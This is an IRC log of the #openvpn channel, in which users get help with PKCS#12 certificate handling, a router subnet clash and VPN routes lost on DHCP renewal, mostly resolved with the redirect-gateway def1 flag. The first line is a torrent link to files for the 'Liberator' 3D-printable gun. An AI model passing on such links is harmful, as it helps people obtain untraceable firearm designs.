13:21 <@ecrist> I'll just leave this here: http://thepiratebay.sx/torrent/8449468/Liberator_-_First_3D_Printable_Gun
13:22 <@vpnHelper> Title: Liberator - First 3D Printable Gun (download torrent) - TPB (at thepiratebay.sx)
13:24 < datruth> dazo: thanks for the update
13:24 <@dazo> oh7lzb: Please submit your patch using git format-patch or git send-email ... then it's easier for us to pull it in after a review
13:25 <@dazo> (it's all described on our wiki, how to do that)
13:25 < oh7lzb> (yes, found the wiki.)
13:26 -!- jthunder [~jthunder@70.28.245.105] has joined #openvpn
13:26 <@dazo> cool, thx a lot!  And good luck :)
13:26 < oh7lzb> Figured out that if a PKCS#12 file is loaded, CA certificates contained in it are only loaded if cafile is not specified. My VPN clients are using PKCS#12 files from a 3rd party I trust, but the 3rd party only provides client certs to persons, not server certs, and my VPN server cert is not going to be signed by a CA whose cert would ever go in that PKCS#12 file.
13:27 < oh7lzb> And the 3rd party uses an intermediate cert, which should be given by the VPN client to my server (I have their root cert but don't get notified if they start issuing client certs signed by a new intermediate)
13:28 -!- datruth [~datruth@unaffiliated/datruth] has quit [Ping timeout: 246 seconds]
13:28 < oh7lzb> So I'd like to have openvpn load certs from the PEM ca file (for checking my server cert), and the certs from PKCS#12 so that the intermediate cert would be provided by the client.
13:29 < oh7lzb> Have been wondering why the code now explicitly ignores all certs from the PKCS#12 file if "ca" is specified in config.
13:29 < oh7lzb> There's probably a reason/use case for that.
13:30 <@dazo> Interesting issue .... we'll probably pull in James Yonan for reviewing that one (which means it can take a bit longer) ... but he knows a lot of use cases
13:31 < oh7lzb> It's easy to patch that, but maybe there needs to be a config setting to specify whether to override or complement the PKCS#12 provided certs by the 'ca' PEM file.
13:32 < oh7lzb> I'll have to try to keep up with the 3rd party's intermediate certs for the time being. They've issued some 50K client certs that I would like to provide a service to, and they've got ~yearly rotated intermediate certs.
13:35 -!- datruth [~datruth@cpe-75-186-95-213.cinci.res.rr.com] has joined #openvpn
13:37 -!- datruth [~datruth@cpe-75-186-95-213.cinci.res.rr.com] has left #openvpn []
13:41 -!- iZenum [~quassel@62.113.213.234] has joined #openvpn
13:42 -!- iZenum [~quassel@62.113.213.234] has quit [Remote host closed the connection]
13:42 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Ping timeout: 252 seconds]
13:42 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
13:43 -!- kenyon_ is now known as kenyon
13:49 -!- kubbing_ [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
13:49 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Read error: Connection reset by peer]
13:50 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn
13:50 -!- mode/#openvpn [+v s7r] by ChanServ
13:57 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
13:58 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
14:01 -!- t35guy [~Andrew@63.142.161.4] has joined #openvpn
14:05 -!- t35guy1 [~Andrew@63.142.161.5] has quit [Ping timeout: 272 seconds]
14:14 -!- dazo is now known as dazo_afk
14:17 -!- kopf [kopf@cube.netsoc.tcd.ie] has joined #openvpn
14:19 < kopf> I'm trying to set up an openvpn client on my tomato router. The problem is that my internet modem is set to the LAN IP of 192.168.100.1 . I don't seem to be able to change this IP address anywhere. The VPN I'm connecting is also in the 192.168.100.x range, and the proxy server on that network that I need to contact is (of course) 192.168.100.1 .
14:19 -!- ||arifaX [~quassel@unaffiliated/arifax/x-427475] has joined #openvpn
14:20 < kopf> Is there any way to get around this? to somehow route so that 192.168.40.x on my network is 192.168.100.x on my target VPN network?
14:28 -!- exed [~maximus@host-88-217-184-122.customer.m-online.net] has quit [Ping timeout: 272 seconds]
14:29 <@krzee> do you run the server?
14:31 < kopf> Afraid not
14:31 < kopf> Well, friends do
14:32 < kopf> If there's stuff that can be done server-side (apart from changing the network from .100 to something else), then I could get them to do it
14:33 <@krzee> had to not added that "apart from" you would have a solution
14:33 <@krzee> you can get them to change the vpn subnet, or get your isp to change their internal subnetting
14:34 <@krzee> feel free to go with whichever sounds easier ;]
14:39 -!- t35guy1 [~Andrew@63.142.161.17] has joined #openvpn
14:42 -!- t35guy [~Andrew@63.142.161.4] has quit [Ping timeout: 256 seconds]
14:43 < kopf> heh, alright :)
14:43 < kopf> cheers
14:44 <@krzee> well or you can run openvpn anywhere else
14:44 <@krzee> (not on the router)
14:44 < kopf> yeah, that's the thing
14:44 <@krzee> or find how to change the router ip in your router
14:44 < kopf> it was working fine on a client pc, decided to run it on my router as it'd be great for all computers to have access to this proxy (for youtube and so on) and then, after a bit of debugging, figured out what my modem IP was
14:44 <@krzee> it has to be doable
14:45 <@krzee> by router i mean dsl modem
14:45 < kopf> yeah, i'm thinking that, but the interface is bullshit
14:45 < kopf> just info, and an "Advanced" section, for which you need a password which changes daily
14:45 < kopf> only for use by ISP techs, i guess
14:45 < kopf> real pain in the arse
14:49 -!- jthunder [~jthunder@70.28.245.105] has quit [Quit: jthunder]
14:51 < pekster> Most DSL equipment has a mode (sometimes locked down to the ISP side if they're jerks) that makes it a bridge, or "transparent" mode where the CPE router holds the public IP
14:52 <@krzee> good point, that would be the best solution
14:52 <@krzee> then no double-nat
14:52 <@krzee> pekster++
14:54 -!- mrrothhcloud___ [uid4697@gateway/web/irccloud.com/x-dtxogybnwzaivfop] has quit [Ping timeout: 245 seconds]
14:57 -!- CEnnis91 [uid3543@gateway/web/irccloud.com/x-ezoqbogpkuevuaoi] has quit [Ping timeout: 252 seconds]
14:57 -!- t35guy [~Andrew@63.142.161.6] has joined #openvpn
15:00 -!- t35guy1 [~Andrew@63.142.161.17] has quit [Ping timeout: 246 seconds]
15:01 -!- KaiForce [~chatzilla@107.223.70.10] has quit [Quit: ChatZilla 0.9.90 [Firefox 20.0.1/20130409194949]]
15:15 -!- novaflash_away is now known as novaflash
15:26 -!- exed [~maximus@ppp-93-104-8-216.dynamic.mnet-online.de] has joined #openvpn
15:52 -!- jthunder [~jthunder@174.3.126.51] has joined #openvpn
15:55 -!- michaelhart [~michaelha@162.209.1.130] has quit [Quit: michaelhart]
16:00 -!- sw0rdfish [sw0rdfish@fr2.v6.nightmare.panicbnc.eu] has quit [Changing host]
16:00 -!- sw0rdfish [sw0rdfish@unaffiliated/sw0rdfish] has joined #openvpn
16:05 -!- kubbing_ [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Remote host closed the connection]
16:06 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
16:09 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Remote host closed the connection]
16:16 -!- sw0rdfish [sw0rdfish@unaffiliated/sw0rdfish] has quit [Ping timeout: 252 seconds]
16:22 -!- ||arifaX [~quassel@unaffiliated/arifax/x-427475] has quit [Remote host closed the connection]
16:24 -!- sw0rdfish [sw0rdfish@fr2.v6.nightmare.panicbnc.eu] has joined #openvpn
16:26 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
16:38 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Remote host closed the connection]
16:39 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
16:41 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Remote host closed the connection]
16:41 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
16:48 -!- vpopov [~happylife@37-147-202-203.broadband.corbina.ru] has quit [Ping timeout: 264 seconds]
16:50 -!- mrrothhcloud___ [uid4697@gateway/web/irccloud.com/x-yqkqmqavnsixdelu] has joined #openvpn
16:55 -!- CEnnis91_ [uid3543@gateway/web/irccloud.com/x-oeanihvkkjhamxwe] has joined #openvpn
16:56 -!- p3rror [~p3rror@adsl196-68-18-217-196.adsl196-9.iam.net.ma] has joined #openvpn
17:01 -!- t35guy1 [~Andrew@ip24-252-25-244.om.om.cox.net] has joined #openvpn
17:02 -!- exed [~maximus@ppp-93-104-8-216.dynamic.mnet-online.de] has quit [Quit: exed]
17:03 -!- t35guy [~Andrew@63.142.161.6] has quit [Ping timeout: 256 seconds]
17:18 < clever> pekster: my ISP has locked it down also, but it still responds to a pppoe client
17:19 < clever> dont have to enable anything in the UI
17:44 -!- p3rror [~p3rror@adsl196-68-18-217-196.adsl196-9.iam.net.ma] has quit [Quit: Leaving]
17:49 -!- t35guy [~Andrew@63.142.161.7] has joined #openvpn
17:50 -!- t35guy1 [~Andrew@ip24-252-25-244.om.om.cox.net] has quit [Ping timeout: 264 seconds]
18:17 -!- s7r [~s7r@openvpn/user/s7r] has left #openvpn []
18:24 -!- Cultist [~Cultist@c-67-184-182-139.hsd1.il.comcast.net] has quit [Read error: Connection reset by peer]
18:26 -!- Cultist [~Cultist@c-67-184-182-139.hsd1.il.comcast.net] has joined #openvpn
18:34 -!- jive [~jive@c-69-253-117-190.hsd1.pa.comcast.net] has joined #openvpn
18:34 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
18:36 < t35guy> Hi, I'm having a problem with openvpn. After connecting to my VPN and checking my IP, it is some IP in another country, but later on, maybe an hour later, I check my IP and it says my real IP address even though openvpn is still running and saying its "connected". Here are my logs with verb = 4, and this time I turned mute off. Here are the logs http://pastebin.com/raw.php?i=FXHdV270
18:37 < pekster> Funny, you asked the *exact* same question 2 days ago and apparently failed to learn from it
18:37 < pekster> 2013-05-08 15:47< pekster> t35guy1: The log line for "Connection reset by peer" causes a reset (due to a tcp RESET packet) causing a restart. Routes appear to have come up normally after that. In the future, please stick to --verb 4 as levels 6 and up are for developers doing debugging and make your logs hard to read. Also avoid use of --mute whe you're seeking help as it too makes logs hard to read
18:37 < pekster> Maybe you want to try reading it this time
18:38 -!- kopf [kopf@cube.netsoc.tcd.ie] has left #openvpn []
18:40 < pekster> t35guy: You should also be using the 'def1' flag (type "!def1" and the bot will help you.)
18:41 < pekster> And since you seem to be using a commercial provider based on that log,
18:41 < pekster> !provider
18:41 <@vpnHelper> "provider" is (#1) We are not your provider's free tech support. We support the free open source app OpenVPN, not your provider. Just because they run openvpn does not mean we are their support team. or (#2) Please contact their support team.
18:42 < t35guy> pekster: sorry, I did read what you said, you told me my provider was crappy and not to use mute and verb 6, so I turned off mute and changed to verb 4. I contacted BTGuard and they haven't replied, so I thought I would try posting my new logs here for a possible other fix
18:42 < pekster> Multiple issues, including the use of --redirect-gateway
18:43 < pekster> local dhcp renewal will wipe out 0/0, where it won't if 0/1 and 128/1 are used (again, see --redirect-gateway in the manpage and the def1 flag)
18:43 < pekster> So yes, the provider obviously has no clue what they're doing. Not sure why people pay bad companies money
18:44 < t35guy> pekster: Sorry for bugging you, I did read what you said though, I just couldn't get help from BTGuard. I probably wont be doing business with them again. Who would you reccomend?
18:44 < pekster> google
18:45 < pekster> You're not likely to get suggestions on commercial solutions here: this channel is for support of the GPL openvpn program, not companies that use it
18:45 < t35guy> sorry
18:45 < t35guy> !def1
18:45 <@vpnHelper> "def1" is (#1) used in redirect-gateway, Add the def1 flag to override the default gateway by using 0.0.0.0/1 and 128.0.0.0/1 rather than 0.0.0.0/0. This has the benefit of overriding but not wiping out the original default gateway. or (#2) please see --redirect-gateway in the man page ( !man ) to fully understand or (#3) push "redirect-gateway def1"
18:46 < pekster> You'll get help finding documentation or running your own server here though. There's a commercial side to the company originally behind openvpn ("OpenVPN Technologies Inc") that runs a commercial solution called PrivateTunel, but I know nothing about it
18:49 < t35guy> pekster: is there any way to ignore a RESET packet?
18:50 <+hjohnson> no, generally not.
18:50 -!- michaelhart [~michaelha@206-248-137-228.dsl.teksavvy.com] has joined #openvpn
18:51 <+hjohnson> t35guy: a reset means that the server has gone "this connection is dead, too bad, so sad"
18:51 < t35guy> !man --redirect-gateway
18:52 < t35guy> hjohnson: why doesn't my tray icon turn red when my connection is reset?
18:52 <+hjohnson> beats me
18:52 < pekster> t35guy: Your latest log shows that the 0/0 route is likely the issue, not the reset connections like you had on 5/8
18:53 < pekster> But of course if the connection goes down (for any reason whatsoever) it'll briefly drop the routes on disconnect
18:53 < pekster> And it goes yellow when it's reconnecting; red is for disconnected
18:54 < t35guy> pekster: what is 0/0 route?
18:54 < pekster> Your default route. "All of the Internet"
18:54 < pekster> !tcpip
18:54 <@vpnHelper> "tcpip" is http://www.redbooks.ibm.com/redbooks/pdfs/gg243376.pdf See chapter 3.1 for useful basic TCP/IP networking knowledge you should probably know
18:55 < t35guy> pekster: so my 0/0 route issue is my fault, not btguards?
18:55 < t35guy> or their servers atleast
18:55 < pekster> It's a combination effect. It gets *replaced* by dhcp
18:55 < pekster> Did you read about --redirect-gateway in the manpage?
18:55 < pekster> Because it explains all of this
18:56 < t35guy> !man
18:56 <@vpnHelper> "man" is (#1) For man pages, see http://openvpn.net/index.php/open-source/documentation/manuals/ or (#2) the man pages are your friend! or (#3) Protip: you can search the manpage for a specific --option (with dashes) to find it quicker
19:00 -!- folivora [~out@46.19.34.64] has quit [Remote host closed the connection]
19:01 -!- t35guy1 [~Andrew@63.142.161.6] has joined #openvpn
19:03 -!- jthunder [~jthunder@174.3.126.51] has quit [Quit: jthunder]
19:03 -!- t35guy [~Andrew@63.142.161.7] has quit [Ping timeout: 246 seconds]
19:10 < pekster> Maybe toy with --route-noexec and --route-gateway in the client config (best make sure you realize what those do first though)
19:27 -!- raidz is now known as raidz_away
19:34 -!- michaelhart [~michaelha@206-248-137-228.dsl.teksavvy.com] has quit [Quit: michaelhart]
19:35 -!- sw0rdfish [sw0rdfish@fr2.v6.nightmare.panicbnc.eu] has left #openvpn ["Leaving IRC forever... :("]
19:46 -!- mitz__ [~mitz@ec2-54-249-110-97.ap-northeast-1.compute.amazonaws.com] has joined #openvpn
20:05 -!- zeshoem [~mnathani@198-84-231-11.cpe.teksavvy.com] has joined #openvpn
20:06 -!- ele_ [~maarten@pinky.elexer.com] has joined #openvpn
20:08 -!- WOOOP_ [~mcrozes@ec2-54-245-244-120.us-west-2.compute.amazonaws.com] has joined #openvpn
20:08 -!- Thermi_ [~Thermi@HSI-KBW-134-3-232-31.hsi14.kabel-badenwuerttemberg.de] has joined #openvpn
20:08 -!- _mnathani_ [~mnathani@198-84-231-11.cpe.teksavvy.com] has quit [Ping timeout: 245 seconds]
20:08 -!- dvl [~dan@pdpc/supporter/active/dvl] has quit [Write error: Connection reset by peer]
20:08 -!- Neal_ [neal@felix.ineal.me] has quit [Ping timeout: 245 seconds]
20:08 -!- ele [~maarten@pinky.elexer.com] has quit [Ping timeout: 245 seconds]
20:08 -!- Thermi [~Thermi@HSI-KBW-134-3-232-31.hsi14.kabel-badenwuerttemberg.de] has quit [Ping timeout: 245 seconds]
20:08 -!- WOOOP [~mcrozes@ec2-54-245-244-120.us-west-2.compute.amazonaws.com] has quit [Ping timeout: 245 seconds]
20:08 -!- DBordello [~DBordello@unaffiliated/dbordello] has quit [Ping timeout: 245 seconds]
20:08 -!- defswork [~andy@141.0.50.105] has quit [Ping timeout: 245 seconds]
20:08 -!- KiNgMaR [~ingmar@2a00:1828:2000:289::cafe:d00d] has quit [Ping timeout: 245 seconds]
20:08 -!- KiNgMaR [~ingmar@2a00:1828:2000:289::cafe:d00d] has joined #openvpn
20:09 -!- dvl [~dan@nyi.unixathome.org] has joined #openvpn
20:09 < t35guy1> pekster: for --redirect-gateway, am I required to use route-gateway gw|'dhcp' before for it to work?
20:09 -!- defswork [~andy@141.0.50.105] has joined #openvpn
20:10 -!- Neal_ [neal@felix.ineal.me] has joined #openvpn
20:10 < pekster> t35guy1: Only in the 'subnet' topology (or with tap)
20:11 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Ping timeout: 264 seconds]
20:11 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 264 seconds]
20:11 -!- abyss [~abyss@i-free.pl] has quit [Ping timeout: 264 seconds]
20:11 -!- DBordello [~DBordello@unaffiliated/dbordello] has joined #openvpn
20:11 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn
20:11 -!- mode/#openvpn [+o vpnHelper] by ChanServ
20:11 -!- abyss [~abyss@i-free.pl] has joined #openvpn
20:12 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn
20:12 -!- mode/#openvpn [+o dazo_afk] by ChanServ
20:12 -!- dazo_afk is now known as dazo
20:12 < t35guy1> hm, well I have the redirect-gateway flag and if I'm reading the man pages right, it should force all my traffic to route through vpn.btguard.com 1194 because I specified "remote vpn.btguard.com 1194" in a previous line. Do you know why my IP address still changes to my real one after a while?
20:13 -!- _Dave2_ [~Dave2@freenode/staff/dave2] has joined #openvpn
20:13 -!- spacedus1 [~info@dev.gentooexperimental.org] has joined #openvpn
20:13 -!- Dropje_ [~yge@ip4da6274e.direct-adsl.nl] has joined #openvpn
20:13 -!- Netsplit *.net <-> *.split quits: mcp, +_quadDamage, ele_, GabrieleV, Dave2, HectorBarbossa, levifig, Dropje, spacedust, jave,  (+1 more, use /NETSPLIT to show all of them)
20:13 -!- HectorBarbossa_ [uid7850@gateway/web/irccloud.com/x-iymmxdnqxhuoqlfa] has joined #openvpn
20:13 -!- jave_ [~jave@h-235-102.a149.priv.bahnhof.se] has joined #openvpn
20:14 -!- Netsplit over, joins: _quadDamage
20:14 < EugeneKay> !redirect
20:14 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
20:14 <@vpnHelper> http://ircpimps.org/redirect.png
20:14 < EugeneKay> !def1
20:14 <@vpnHelper> "def1" is (#1) used in redirect-gateway, Add the def1 flag to override the default gateway by using 0.0.0.0/1 and 128.0.0.0/1 rather than 0.0.0.0/0. This has the benefit of overriding but not wiping out the original default gateway. or (#2) please see --redirect-gateway in the man page ( !man ) to fully understand or (#3) push "redirect-gateway def1"
20:15 < EugeneKay> Without def1, your DHCP renew will override the 0.0.0.0/0 route set up by the vpn
20:16 -!- GabrieleV [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has joined #openvpn
20:16 -!- mcp [~mcp@wolk-project.de] has joined #openvpn
20:17 -!- ele [~maarten@pinky.elexer.com] has joined #openvpn
20:17 -!- t35guy [~Andrew@ip24-252-25-244.om.om.cox.net] has joined #openvpn
20:18 < t35guy> What is push? does that just mean add to my arguments?
20:18 < EugeneKay> Yes
20:18 < EugeneKay> !push
20:18 <@vpnHelper> "push" is usage: push <command> , goes in the server config and makes the command act as if it was in the client config, can be used in ccd entries
20:19 < t35guy> well i restarted openvpn with redirect-gateway def1 instead of just disconnecting and reconnecting with the new argument. I'll see what happens
20:20 -!- t35guy1 [~Andrew@63.142.161.6] has quit [Ping timeout: 268 seconds]
20:20 < t35guy> if I don't have bypass-dns does that mean all my dns requests are visible to my ISP?
20:20 -!- krphop [~krphop@watch.out.the.feds.are.rightbehind.us] has joined #openvpn
20:21 < t35guy> or would bypass-dns make the dns requests not go through my vpn?
20:21 < EugeneKay> The latter; don't use that flag.
20:21 < EugeneKay> You want --dhcp-option dns 8.8.8.8
20:23 < pekster> And even then, Windows does "Weird Things" with multiple DNS servers provided by multiple interfaces. It "usually" tends to use the new one, although your local DHCP renewal could in theory do odd things with that
20:24 -!- levifig [~levifig@spwn.co] has joined #openvpn
20:25 -!- [clu5ter] [~staff@stealth.server.cybscripts.com] has joined #openvpn
20:26 -!- defswork_ [~andy@141.0.50.105] has joined #openvpn
20:26 -!- clu5ter [~staff@unaffiliated/clu5ter] has quit [Ping timeout: 245 seconds]
20:27 -!- defswork [~andy@141.0.50.105] has quit [Ping timeout: 245 seconds]
20:27 -!- TypoNe [~itsme@195.197.184.87] has quit [Ping timeout: 245 seconds]
20:27 -!- jtrucks [jtrucks@freenode/staff/lopsa.foundingmember.jtrucks] has quit [Read error: Connection reset by peer]
20:27 -!- jtrucks [jtrucks@freenode/staff/lopsa.foundingmember.jtrucks] has joined #openvpn
20:28 -!- Dave2 [~Dave2@freenode/staff/dave2] has joined #openvpn
20:28 -!- _Dave2_ [~Dave2@freenode/staff/dave2] has quit [Read error: Connection reset by peer]
20:28 -!- dvl [~dan@nyi.unixathome.org] has quit [Changing host]
20:28 -!- dvl [~dan@pdpc/supporter/active/dvl] has joined #openvpn
20:28 -!- TypoNe [~itsme@195.197.184.87] has joined #openvpn
20:29 -!- Poster|x [~poster@cpe-173-88-34-118.columbus.res.rr.com] has joined #openvpn
20:31 -!- mrrothhcloud___ [uid4697@gateway/web/irccloud.com/x-yqkqmqavnsixdelu] has quit [Ping timeout: 276 seconds]
20:31 -!- MrPockets [~MevinKitt@unaffiliated/mrpockets] has quit [Ping timeout: 276 seconds]
20:31 -!- MrPockets [~MevinKitt@CPE-72-129-142-124.new.res.rr.com] has joined #openvpn
20:32 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 276 seconds]
20:32 -!- lbft [~lbft@199.195.249.177] has quit [Ping timeout: 276 seconds]
20:32 -!- lbft [~lbft@199.195.249.177] has joined #openvpn
20:32 -!- MikeH [MikeH@2a01:7e00::f03c:91ff:fe93:f271] has quit [Ping timeout: 245 seconds]
20:33 -!- Poster [~poster@cpe-173-88-34-118.columbus.res.rr.com] has quit [Ping timeout: 276 seconds]
20:33 -!- Cultist [~Cultist@c-67-184-182-139.hsd1.il.comcast.net] has quit [Read error: Connection reset by peer]
20:34 -!- Poster [~poster@cpe-173-88-34-118.columbus.res.rr.com] has joined #openvpn
20:34 -!- ele_ [~maarten@pinky.elexer.com] has joined #openvpn
20:34 -!- Cultist [~Cultist@c-67-184-182-139.hsd1.il.comcast.net] has joined #openvpn
20:35 -!- abyss [~abyss@i-free.pl] has quit [Ping timeout: 256 seconds]
20:35 -!- ngharo_ [~ngharo@hacked.thegov.us] has joined #openvpn
20:35 -!- Poster|x [~poster@cpe-173-88-34-118.columbus.res.rr.com] has quit [Ping timeout: 256 seconds]
20:35 -!- _Dave2_ [~Dave2@freenode/staff/dave2] has joined #openvpn
20:35 -!- deever_ [~deever@78.46.68.172] has joined #openvpn
20:36 -!- tekzilla_ [~jon@24.134.142.157] has joined #openvpn
20:37 -!- Cr4zi3 [killaz@staff.xbins.org] has joined #openvpn
20:37 -!- Cultist [~Cultist@c-67-184-182-139.hsd1.il.comcast.net] has quit [Read error: Connection reset by peer]
20:37 -!- riddle [riddle@us.yunix.net] has quit [Disconnected by services]
20:37 -!- MikeH_ [MikeH@2a01:7e00::f03c:91ff:fe93:f271] has joined #openvpn
20:37 -!- krzee [~k@openvpn/community/support/krzee] has quit [Ping timeout: 264 seconds]
20:37 -!- Cybertinus [~Cybertinu@2001:828:405:30:83:96:177:42] has quit [Read error: Connection reset by peer]
20:37 -!- JackSparrow [~death@2001:41d0:1:d4e5:dead::42] has quit [Ping timeout: 264 seconds]
20:37 -!- Fiouz [~Fiouz@2a01:e0b:1:68:240:63ff:fee6:924b] has joined #openvpn
20:37 -!- ngharo [~ngharo@hacked.thegov.us] has quit [Ping timeout: 245 seconds]
20:37 -!- tekzilla [~jon@24.134.142.157] has quit [Ping timeout: 245 seconds]
20:37 -!- deever [~deever@78.46.68.172] has quit [Ping timeout: 245 seconds]
20:37 -!- ele [~maarten@pinky.elexer.com] has quit [Ping timeout: 245 seconds]
20:37 -!- Matir [~matir@ubuntu/member/matir] has quit [Ping timeout: 245 seconds]
20:37 -!- Neal_ [neal@felix.ineal.me] has quit [Ping timeout: 245 seconds]
20:37 -!- zamba [marius@flage.org] has quit [Ping timeout: 245 seconds]
20:37 -!- Fiouz_ [~Fiouz@2a01:e0b:1:68:240:63ff:fee6:924b] has quit [Ping timeout: 245 seconds]
20:37 -!- Thermi_ [~Thermi@HSI-KBW-134-3-232-31.hsi14.kabel-badenwuerttemberg.de] has quit [Ping timeout: 245 seconds]
20:37 -!- riddle [riddle@us.yunix.net] has joined #openvpn
20:38 -!- ngharo_ is now known as ngharo
20:38 -!- Cultist [~Cultist@c-67-184-182-139.hsd1.il.comcast.net] has joined #openvpn
20:39 -!- majuscul1 [~dylan@dylansserver.com] has joined #openvpn
20:39 -!- kirin` [telex@gateway/shell/anapnea.net/x-wlihsouvotzobavk] has quit [Disconnected by services]
20:39 -!- rooth_ [tomte@stuck.in.the.basement.at.fritzl.nu] has joined #openvpn
20:39 -!- stephanj1 [stephan@nemesis.stejau.de] has joined #openvpn
20:39 -!- Dropje [~yge@ip4da6274e.direct-adsl.nl] has joined #openvpn
20:39 -!- JyZyXEL- [~foo@a88-115-46-124.elisa-laajakaista.fi] has joined #openvpn
20:39 -!- Dave2 [~Dave2@freenode/staff/dave2] has quit [Read error: Connection reset by peer]
20:39 -!- kirin` [telex@gateway/shell/anapnea.net/x-czqfiwsrinfcbrow] has joined #openvpn
20:40 -!- Varazir_ [~mircwars@c-94-255-133-18.cust.bredband2.com] has joined #openvpn
20:40 -!- Neal_ [neal@felix.ineal.me] has joined #openvpn
20:41 -!- _Cr4zi3 [killaz@staff.xbins.org] has quit [Ping timeout: 268 seconds]
20:41 -!- Dropje_ [~yge@ip4da6274e.direct-adsl.nl] has quit [Ping timeout: 268 seconds]
20:41 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has quit [Ping timeout: 268 seconds]
20:41 -!- nutron|w [~nutron@unaffiliated/nutron] has quit [Ping timeout: 268 seconds]
20:41 -!- Varazir [~mircwars@c-94-255-133-18.cust.bredband2.com] has quit [Ping timeout: 268 seconds]
20:41 -!- erry_ [erry@freenode/staff/erry] has joined #openvpn
20:41 -!- abyss [~abyss@i-free.pl] has joined #openvpn
20:41 -!- simcop2387_ [~simcop238@p3m/member/simcop2387] has joined #openvpn
20:41 -!- erry [erry@freenode/staff/erry] has quit [Read error: Connection reset by peer]
20:41 -!- nutron|w [~nutron@24.67.96.21] has joined #openvpn
20:42 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has joined #openvpn
20:42 -!- Thermi [~Thermi@HSI-KBW-134-3-232-31.hsi14.kabel-badenwuerttemberg.de] has joined #openvpn
20:42 -!- krzie [~k@openvpn/community/support/krzee] has joined #openvpn
20:42 -!- DBordello [~DBordello@unaffiliated/dbordello] has quit [Ping timeout: 264 seconds]
20:42 -!- mode/#openvpn [+o krzie] by ChanServ
20:42 -!- Cultist [~Cultist@c-67-184-182-139.hsd1.il.comcast.net] has quit [Read error: Connection reset by peer]
20:42 -!- phantomcircuit_ [~phantomci@covertinferno.org] has joined #openvpn
20:43 -!- Cybertinus [~Cybertinu@2001:828:405:30:83:96:177:42] has joined #openvpn
20:43 -!- Matir [~matir@ubuntu/member/matir] has joined #openvpn
20:43 -!- krzie is now known as krzee
20:44 -!- Netsplit *.net <-> *.split quits: Subject_Chell, JyZyXEL, majuscule, simcop2387, stephan48, rooth, MrPockets, phantomcircuit
20:44 -!- simcop2387_ is now known as simcop2387
20:44 -!- DBordello [~DBordello@unaffiliated/dbordello] has joined #openvpn
20:44 -!- Cultist [~Cultist@c-67-184-182-139.hsd1.il.comcast.net] has joined #openvpn
20:46 -!- JackSparrow [~death@2001:41d0:1:d4e5:dead::42] has joined #openvpn
20:51 -!- jivee [~jive@c-69-253-117-190.hsd1.pa.comcast.net] has joined #openvpn
20:52 -!- tekzilla [~jon@24.134.142.157] has joined #openvpn
20:54 -!- Dropje_ [~yge@ip4da6274e.direct-adsl.nl] has joined #openvpn
20:56 -!- Netsplit over, joins: JyZyXEL
20:56 -!- landono_ [~landono@199-58-199-98.acedc.net] has joined #openvpn
20:56 -!- Netsplit *.net <-> *.split quits: jive, pulz, JyZyXEL-, Dropje, tekzilla_
20:57 -!- Netsplit over, joins: pulz
20:57 -!- _b00b [~spunk@smurf.mmnetworks.se] has joined #openvpn
20:58 -!- rooth [tomte@stuck.in.the.basement.at.fritzl.nu] has joined #openvpn
20:58 -!- master_o1_master [~master_of@p4FF246C5.dip0.t-ipconnect.de] has joined #openvpn
20:58 -!- simcop2387_ [~simcop238@p3m/member/simcop2387] has joined #openvpn
20:58 -!- peper [~peper@gentoo/developer/peper] has joined #openvpn
20:58 -!- b00b [~spunk@smurf.mmnetworks.se] has quit [Ping timeout: 245 seconds]
20:58 -!- _b00b is now known as b00b
20:58 -!- Matir_ [~matir@ubuntu/member/matir] has joined #openvpn
20:58 -!- majuscule [~dylan@dylansserver.com] has joined #openvpn
20:58 -!- Neal_ [neal@felix.ineal.me] has quit [Ping timeout: 245 seconds]
20:59 -!- Cybertinus [~Cybertinu@2001:828:405:30:83:96:177:42] has quit [Read error: Connection reset by peer]
20:59 -!- jivee [~jive@c-69-253-117-190.hsd1.pa.comcast.net] has quit [Ping timeout: 245 seconds]
20:59 -!- Cybertinus [~Cybertinu@2001:828:405:30:83:96:177:42] has joined #openvpn
20:59 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has quit [Ping timeout: 245 seconds]
20:59 -!- Neal_ [neal@felix.ineal.me] has joined #openvpn
21:00 -!- Cybertinus [~Cybertinu@2001:828:405:30:83:96:177:42] has quit [Excess Flood]
21:01 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has joined #openvpn
